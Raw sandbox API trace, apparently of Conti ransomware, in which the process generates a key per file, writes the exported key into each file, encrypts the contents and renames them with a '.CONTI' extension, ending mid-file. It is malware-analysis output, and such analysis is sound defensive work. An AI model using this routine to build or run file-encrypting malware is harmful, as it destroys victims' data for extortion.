	[0146.459] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d1e48 | out: phKey=0x65d1e48*=0x17deed0) returned 1
	[0146.459] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d1e4c, pdwDataLen=0x3bbfde4 | out: pbData=0x65d1e4c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0146.460] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\ouehg-exuq.swf")) returned 0x20
	[0146.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\ouehg-exuq.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0146.460] GetLastError () returned 0x0
	[0146.460] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=59245) returned 1
	[0146.460] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe76d
	[0146.460] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.460] SetEndOfFile (hFile=0x494) returned 1
	[0146.460] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.460] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.460] WriteFile (in: hFile=0x494, lpBuffer=0x65d1e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d1e4c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0146.464] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.464] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0xe76d, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0xe76d, lpOverlapped=0x0) returned 1
	[0146.465] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xe76d, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xe770) returned 1
	[0146.465] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.465] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0xe770, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0xe770, lpOverlapped=0x0) returned 1
	[0146.466] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.466] WriteFile (in: hFile=0x494, lpBuffer=0x65d1e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d1e40*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0146.466] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.466] CloseHandle (hObject=0x494) returned 1
	[0146.466] GetProcessHeap () returned 0x1720000
	[0146.466] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.466] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf"
	[0146.466] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf.CONTI"
	[0146.466] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\ouehg-exuq.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\ouEhG-ExuQ.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\ouehg-exuq.swf.conti")) returned 1
	[0146.467] GetProcessHeap () returned 0x1720000
	[0146.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.467] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0146.467] GetProcessHeap () returned 0x1720000
	[0146.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ae40 | out: hHeap=0x1720000) returned 1
	[0146.467] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0146.467] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d2e40 | out: phKey=0x65d2e40*=0x17deed0) returned 1
	[0146.467] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2e44, pdwDataLen=0x3bbfde4 | out: pbData=0x65d2e44*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0146.467] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\qelcvxir9yxibtn8b9k.mp4")) returned 0x20
	[0146.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\qelcvxir9yxibtn8b9k.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0146.468] GetLastError () returned 0x0
	[0146.468] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=42103) returned 1
	[0146.468] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa477
	[0146.468] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.468] SetEndOfFile (hFile=0x494) returned 1
	[0146.468] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.468] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.468] WriteFile (in: hFile=0x494, lpBuffer=0x65d2e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d2e44*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0147.921] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.921] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0xa477, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0xa477, lpOverlapped=0x0) returned 1
	[0147.921] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xa477, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xa480) returned 1
	[0147.921] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.921] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0xa480, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0xa480, lpOverlapped=0x0) returned 1
	[0147.922] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.922] WriteFile (in: hFile=0x494, lpBuffer=0x65d2e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d2e38*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0147.922] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.922] CloseHandle (hObject=0x494) returned 1
	[0147.922] GetProcessHeap () returned 0x1720000
	[0147.922] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.923] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4"
	[0147.923] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4.CONTI"
	[0147.923] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\qelcvxir9yxibtn8b9k.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\QElcVxir9YXIbTN8B9k.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\qelcvxir9yxibtn8b9k.mp4.conti")) returned 1
	[0147.924] GetProcessHeap () returned 0x1720000
	[0147.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.924] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0147.924] GetProcessHeap () returned 0x1720000
	[0147.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02e98 | out: hHeap=0x1720000) returned 1
	[0147.924] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0147.924] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d5750 | out: phKey=0x65d5750*=0x17deed0) returned 1
	[0147.924] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d5754, pdwDataLen=0x3bbfde4 | out: pbData=0x65d5754*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0147.925] GetFileAttributesW (lpFileName="C:\\Windows" (normalized: "c:\\windows")) returned 0x10
	[0147.925] CreateFileW (lpFileName="C:\\Windows" (normalized: "c:\\windows"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0147.925] GetLastError () returned 0x5
	[0147.925] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0147.925] GetProcessHeap () returned 0x1720000
	[0147.925] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181ecd0 | out: hHeap=0x1720000) returned 1
	[0147.925] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0147.925] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d3bf0 | out: phKey=0x65d3bf0*=0x17deed0) returned 1
	[0147.925] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d3bf4, pdwDataLen=0x3bbfde4 | out: pbData=0x65d3bf4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0147.926] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini")) returned 0x20
	[0147.926] CreateFileW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0147.927] GetLastError () returned 0x0
	[0147.927] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=212) returned 1
	[0147.927] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd4
	[0147.927] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.927] SetEndOfFile (hFile=0x494) returned 1
	[0147.928] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.928] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.928] WriteFile (in: hFile=0x494, lpBuffer=0x65d3bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d3bf4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0147.930] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.930] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0xd4, lpOverlapped=0x0) returned 1
	[0147.930] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xd4, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xe0) returned 1
	[0147.930] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.930] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0xe0, lpOverlapped=0x0) returned 1
	[0147.930] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.930] WriteFile (in: hFile=0x494, lpBuffer=0x65d3be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d3be8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0147.930] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.930] CloseHandle (hObject=0x494) returned 1
	[0147.930] GetProcessHeap () returned 0x1720000
	[0147.930] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.930] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\Configuration.ini" | out: lpString1="C:\\Windows10Upgrade\\Configuration.ini") returned="C:\\Windows10Upgrade\\Configuration.ini"
	[0147.930] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\Configuration.ini", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\Configuration.ini.CONTI") returned="C:\\Windows10Upgrade\\Configuration.ini.CONTI"
	[0147.930] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), lpNewFileName="C:\\Windows10Upgrade\\Configuration.ini.CONTI" (normalized: "c:\\windows10upgrade\\configuration.ini.conti")) returned 1
	[0147.931] GetProcessHeap () returned 0x1720000
	[0147.931] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.931] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0147.931] GetProcessHeap () returned 0x1720000
	[0147.931] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d8c0 | out: hHeap=0x1720000) returned 1
	[0147.931] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0147.931] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d1528 | out: phKey=0x65d1528*=0x17deed0) returned 1
	[0147.931] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d152c, pdwDataLen=0x3bbfde4 | out: pbData=0x65d152c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0147.932] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd")) returned 0x20
	[0147.933] CreateFileW (lpFileName="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0147.933] GetLastError () returned 0x0
	[0147.933] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=9810) returned 1
	[0147.933] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2652
	[0147.933] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.933] SetEndOfFile (hFile=0x494) returned 1
	[0147.933] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.933] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.934] WriteFile (in: hFile=0x494, lpBuffer=0x65d152c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d152c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0147.937] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.937] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2652, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2652, lpOverlapped=0x0) returned 1
	[0147.938] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2652, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2660) returned 1
	[0147.938] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.938] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2660, lpOverlapped=0x0) returned 1
	[0147.938] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.938] WriteFile (in: hFile=0x494, lpBuffer=0x65d1520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d1520*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0147.938] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.938] CloseHandle (hObject=0x494) returned 1
	[0147.939] GetProcessHeap () returned 0x1720000
	[0147.939] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.939] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd" | out: lpString1="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd") returned="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd"
	[0147.939] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd.CONTI") returned="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd.CONTI"
	[0147.939] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd"), lpNewFileName="C:\\Windows10Upgrade\\EnableWiFiTracing.cmd.CONTI" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd.conti")) returned 1
	[0147.939] GetProcessHeap () returned 0x1720000
	[0147.939] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.939] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0147.939] GetProcessHeap () returned 0x1720000
	[0147.939] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740da0 | out: hHeap=0x1720000) returned 1
	[0147.940] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0147.940] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d0530 | out: phKey=0x65d0530*=0x17deed0) returned 1
	[0147.940] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0534, pdwDataLen=0x3bbfde4 | out: pbData=0x65d0534*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0147.940] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\PostOOBEScript.cmd" (normalized: "c:\\windows10upgrade\\postoobescript.cmd")) returned 0x20
	[0147.941] CreateFileW (lpFileName="C:\\Windows10Upgrade\\PostOOBEScript.cmd" (normalized: "c:\\windows10upgrade\\postoobescript.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0147.941] GetLastError () returned 0x0
	[0147.941] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=577) returned 1
	[0147.941] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x241
	[0147.941] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.941] SetEndOfFile (hFile=0x494) returned 1
	[0147.942] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.942] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
